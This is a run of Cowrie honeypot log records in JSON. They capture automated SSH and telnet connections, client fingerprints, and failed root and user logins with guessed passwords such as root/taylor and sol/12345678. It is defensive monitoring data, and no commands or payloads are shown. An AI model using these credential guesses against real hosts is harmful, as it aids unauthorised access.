{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:bd:7b:88:f6:c9:67:c9:f0:80:5d:07:fa:c8:a2:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1AvvBIL5jaSpN5+Pxw/DnHXRhqNAilFYu21H7egc4z2LhGZWMi7nyXFNQvNPIOcYSCS35tA/V+R2V+5frzs0NhfqMV0F61B1i+xThcQtlIc3dHxcO2DZyfjv4mUcgWFOOO4qYeBylKXVGL/9T2YdnDYys3KLoNZsb3HN9Xj2sHV5NGu+/HGHycwr2/SdovZTpX1PTKb29Dl51pfXzDJItesU1A7547yp8dKaKdaQ3QO8Zzu/b4Y3ZXrLV4dV4BXHidwZvasfvgX3s0EOrhxh0vpmlB6qvkVmgbv6zyL/cQ/3+TRdB2wZJAi0JC4K4gS7fWyLoxASMVaYkyTFrMOah","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:bd:7b:88:f6:c9:67:c9:f0:80:5d:07:fa:c8:a2:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.404859Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:bd:7b:88:f6:c9:67:c9:f0:80:5d:07:fa:c8:a2:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1AvvBIL5jaSpN5+Pxw/DnHXRhqNAilFYu21H7egc4z2LhGZWMi7nyXFNQvNPIOcYSCS35tA/V+R2V+5frzs0NhfqMV0F61B1i+xThcQtlIc3dHxcO2DZyfjv4mUcgWFOOO4qYeBylKXVGL/9T2YdnDYys3KLoNZsb3HN9Xj2sHV5NGu+/HGHycwr2/SdovZTpX1PTKb29Dl51pfXzDJItesU1A7547yp8dKaKdaQ3QO8Zzu/b4Y3ZXrLV4dV4BXHidwZvasfvgX3s0EOrhxh0vpmlB6qvkVmgbv6zyL/cQ/3+TRdB2wZJAi0JC4K4gS7fWyLoxASMVaYkyTFrMOah","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.409673Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:8f:17:dc:3e:2a:20:b0:08:e8:c3:33:89:88:fe:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRWA0Vq3g0DGi2RF62kDNi9Yy0dg8PCHNF5tfLRYTZXzw7CCRzMH6JEPmsH1lk1lK+/r3JeWOUJyxwVCqGSUQuqA+cw60j5tiHvYWhM29qQDhQbsd1ePcp2jp4oHK7i58APh+7cmDbnzvJQHCtC/lLDzCesRcfNI1DwrfFnU+17tqKTPaskM6vbdke6/MsV3Xl+oA8LGxsMmylpJSj+u6cA20hWiV/XJ1KuUjANu8xHLuxo865QeMssrs8gntH9QrkNwj75Xs+o7efIlpVLDgEdyW9FYQO/GsRh+CppzBlgQS6JEgAAMyHBsIQMCIwv/bh21RFVeVudbgnrr1TVcrX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:8f:17:dc:3e:2a:20:b0:08:e8:c3:33:89:88:fe:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.504255Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:8f:17:dc:3e:2a:20:b0:08:e8:c3:33:89:88:fe:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRWA0Vq3g0DGi2RF62kDNi9Yy0dg8PCHNF5tfLRYTZXzw7CCRzMH6JEPmsH1lk1lK+/r3JeWOUJyxwVCqGSUQuqA+cw60j5tiHvYWhM29qQDhQbsd1ePcp2jp4oHK7i58APh+7cmDbnzvJQHCtC/lLDzCesRcfNI1DwrfFnU+17tqKTPaskM6vbdke6/MsV3Xl+oA8LGxsMmylpJSj+u6cA20hWiV/XJ1KuUjANu8xHLuxo865QeMssrs8gntH9QrkNwj75Xs+o7efIlpVLDgEdyW9FYQO/GsRh+CppzBlgQS6JEgAAMyHBsIQMCIwv/bh21RFVeVudbgnrr1TVcrX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.508583Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:41:67:64:3d:2b:0a:22:22:e8:22:20:40:fd:7b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDauQ9Zr2NPCbj4RIW3/Nzriad9HLO+h+dYhinmQ9WxkvuimksRVKZN8DalNS7eq8xm/tg531zZ9e/8oGeELcxaLvkc1fw60urIt3b8Zak/H5C2VWC3ch0FleNTSJqKTYoo7y5a1xTLxl6tjmwjoiEiUU+MM0fyXO6OtIAwaIJgEaPLDxzxyu5X0x4UFFxuNUiyK6Quo88PVz/rN5o78kzPNTppKEeaWFBVeGljkGWOh6Kti9DcRpyOuR89ewrXTEoleqySSCb1XXBxQUOkVEvDLL6uFxchQLzLmnyOhMPkIBLVBsZGb0F6f3nfuXyAVGYSOxPLQU91Rit7pvJjB1m0/wOQ/qYf2BLNkZtK3yJGfkSLs9DCzRT7RgXzpiTxBlvYqgARo+Bi5hbyQmixOrYO3altUHh1O+YZ/r+unQTu6aMqYUlYEgLCPT9DRWK3Fq2ggvyGOchoRHIHXrkG2HuebLmPhXsKD0FVKD3Az/SxuBXbBsmKlmtz1xJD7A0imVMFsQZISXr5i9QB2JddMA6AwEJ3VmA3ga77+ytbS53alN0tX54lr1TJasoSChYB1ZopN++V3QQZ9vr1biPGaJGYrnnO5mtRa6c2P2taOK25xp1FXrMhcadTMm42HF/SWpVrQbSqzMi5b2hcfCwiyq1HRyrnSQNIUsSEFq+3FO3EhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:41:67:64:3d:2b:0a:22:22:e8:22:20:40:fd:7b:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.600536Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:41:67:64:3d:2b:0a:22:22:e8:22:20:40:fd:7b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDauQ9Zr2NPCbj4RIW3/Nzriad9HLO+h+dYhinmQ9WxkvuimksRVKZN8DalNS7eq8xm/tg531zZ9e/8oGeELcxaLvkc1fw60urIt3b8Zak/H5C2VWC3ch0FleNTSJqKTYoo7y5a1xTLxl6tjmwjoiEiUU+MM0fyXO6OtIAwaIJgEaPLDxzxyu5X0x4UFFxuNUiyK6Quo88PVz/rN5o78kzPNTppKEeaWFBVeGljkGWOh6Kti9DcRpyOuR89ewrXTEoleqySSCb1XXBxQUOkVEvDLL6uFxchQLzLmnyOhMPkIBLVBsZGb0F6f3nfuXyAVGYSOxPLQU91Rit7pvJjB1m0/wOQ/qYf2BLNkZtK3yJGfkSLs9DCzRT7RgXzpiTxBlvYqgARo+Bi5hbyQmixOrYO3altUHh1O+YZ/r+unQTu6aMqYUlYEgLCPT9DRWK3Fq2ggvyGOchoRHIHXrkG2HuebLmPhXsKD0FVKD3Az/SxuBXbBsmKlmtz1xJD7A0imVMFsQZISXr5i9QB2JddMA6AwEJ3VmA3ga77+ytbS53alN0tX54lr1TJasoSChYB1ZopN++V3QQZ9vr1biPGaJGYrnnO5mtRa6c2P2taOK25xp1FXrMhcadTMm42HF/SWpVrQbSqzMi5b2hcfCwiyq1HRyrnSQNIUsSEFq+3FO3EhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.607671Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:96:80:5b:f8:dd:48:cc:7c:b4:f0:94:18:a3:df:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMWABP9G0Qy7pHlAW0oKpk7IQGRVtLojkr9ArK05R/VbaNS4zTBvvRuXvSidKZmRdjgRRv1wwiv3AirMTDRcSnJz1wdBIYz4cpnkbr6Neazm4U1M1cJtdrXhVvKe7Gfn5LFD90i2SEIFcnef2crHP4Rf7A0wcX+VegqNdhiLn7HUoytxWy5D/qeBXTv8q14AL2uzzH9VKTH8171ombdt92mS6HbNRnDReZ7FI+UUqAJ8v2rvjHZKWZFkbFF9ezpCm44bKZ3DOqdIx2Huva/ycnor9JQhbCeluBLq/m5S4KJJXeSrDRkzMdQSDDJ0g88yz5hMX9EONMl8bk0Qj8o257","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:96:80:5b:f8:dd:48:cc:7c:b4:f0:94:18:a3:df:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.702334Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:96:80:5b:f8:dd:48:cc:7c:b4:f0:94:18:a3:df:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMWABP9G0Qy7pHlAW0oKpk7IQGRVtLojkr9ArK05R/VbaNS4zTBvvRuXvSidKZmRdjgRRv1wwiv3AirMTDRcSnJz1wdBIYz4cpnkbr6Neazm4U1M1cJtdrXhVvKe7Gfn5LFD90i2SEIFcnef2crHP4Rf7A0wcX+VegqNdhiLn7HUoytxWy5D/qeBXTv8q14AL2uzzH9VKTH8171ombdt92mS6HbNRnDReZ7FI+UUqAJ8v2rvjHZKWZFkbFF9ezpCm44bKZ3DOqdIx2Huva/ycnor9JQhbCeluBLq/m5S4KJJXeSrDRkzMdQSDDJ0g88yz5hMX9EONMl8bk0Qj8o257","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.707821Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:16.802187Z","src_ip":"195.62.32.180","session":"c905bb95e8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.71539616584778,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:28.461888Z","src_ip":"152.42.224.71","session":"6c2eaf6dcb71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51878,"dst_ip":"10.17.0.5","dst_port":23,"session":"009851017847","protocol":"telnet","message":"New connection: 152.42.224.71:51878 (10.17.0.5:23) [session: 009851017847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:29.438321Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59568,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a44f23dc34","protocol":"ssh","message":"New connection: 103.176.20.57:59568 (159.203.135.109:22) [session: 18a44f23dc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:43.569993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:43.574371Z","src_ip":"103.176.20.57","session":"18a44f23dc34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:43.822873Z","src_ip":"103.176.20.57","session":"18a44f23dc34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taylor","message":"login attempt [root/taylor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:44.810537Z","src_ip":"103.176.20.57","session":"18a44f23dc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:36:46.067254Z","src_ip":"103.176.20.57","session":"18a44f23dc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.04251194000244,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:09.092212Z","src_ip":"152.42.224.71","session":"69afcdce1854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40346,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fea46e5d5b5","protocol":"ssh","message":"New connection: 2.57.122.238:40346 (10.17.0.5:22) [session: 6fea46e5d5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:10.511351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:10.515683Z","src_ip":"2.57.122.238","session":"6fea46e5d5b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:10.620987Z","src_ip":"2.57.122.238","session":"6fea46e5d5b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:10.936650Z","src_ip":"2.57.122.238","session":"6fea46e5d5b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:12.044728Z","src_ip":"2.57.122.238","session":"6fea46e5d5b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49556,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc93230a1c5e","protocol":"telnet","message":"New connection: 152.42.224.71:49556 (10.17.0.5:23) [session: dc93230a1c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:16.837786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49572,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4b80b29fcf","protocol":"telnet","message":"New connection: 152.42.224.71:49572 (10.17.0.5:23) [session: fd4b80b29fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:18.586136Z"}
{"eventid":"cowrie.session.closed","duration":87.5255913734436,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:37:56.963812Z","src_ip":"152.42.224.71","session":"009851017847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40448,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d54514d8123","protocol":"telnet","message":"New connection: 152.42.224.71:40448 (10.17.0.5:23) [session: 2d54514d8123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:38:00.948127Z"}
{"eventid":"cowrie.session.closed","duration":45.288328647613525,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:38:02.126000Z","src_ip":"152.42.224.71","session":"dc93230a1c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.14153265953064,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:04.089504Z","src_ip":"152.42.224.71","session":"2d54514d8123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.13465595245361,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:10.720660Z","src_ip":"152.42.224.71","session":"fd4b80b29fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":37936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4f76631da4e","protocol":"ssh","message":"New connection: 109.172.54.111:37936 (10.17.0.5:22) [session: c4f76631da4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:21.471987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:21.478114Z","src_ip":"109.172.54.111","session":"c4f76631da4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:21.577054Z","src_ip":"109.172.54.111","session":"c4f76631da4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:21.868355Z","src_ip":"109.172.54.111","session":"c4f76631da4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:22.968734Z","src_ip":"109.172.54.111","session":"c4f76631da4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":42228,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9951d3043f","protocol":"ssh","message":"New connection: 2.57.122.238:42228 (10.17.0.5:22) [session: 8c9951d3043f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:25.602817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:25.610065Z","src_ip":"2.57.122.238","session":"8c9951d3043f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:25.716115Z","src_ip":"2.57.122.238","session":"8c9951d3043f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:26.022201Z","src_ip":"2.57.122.238","session":"8c9951d3043f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:27.128503Z","src_ip":"2.57.122.238","session":"8c9951d3043f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33406,"dst_ip":"10.17.0.5","dst_port":23,"session":"17123da0e214","protocol":"telnet","message":"New connection: 152.42.224.71:33406 (10.17.0.5:23) [session: 17123da0e214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:33.603311Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":39254,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f2a0815c4c9","protocol":"ssh","message":"New connection: 109.237.96.109:39254 (10.17.0.5:22) [session: 8f2a0815c4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:39:35.974459Z"}
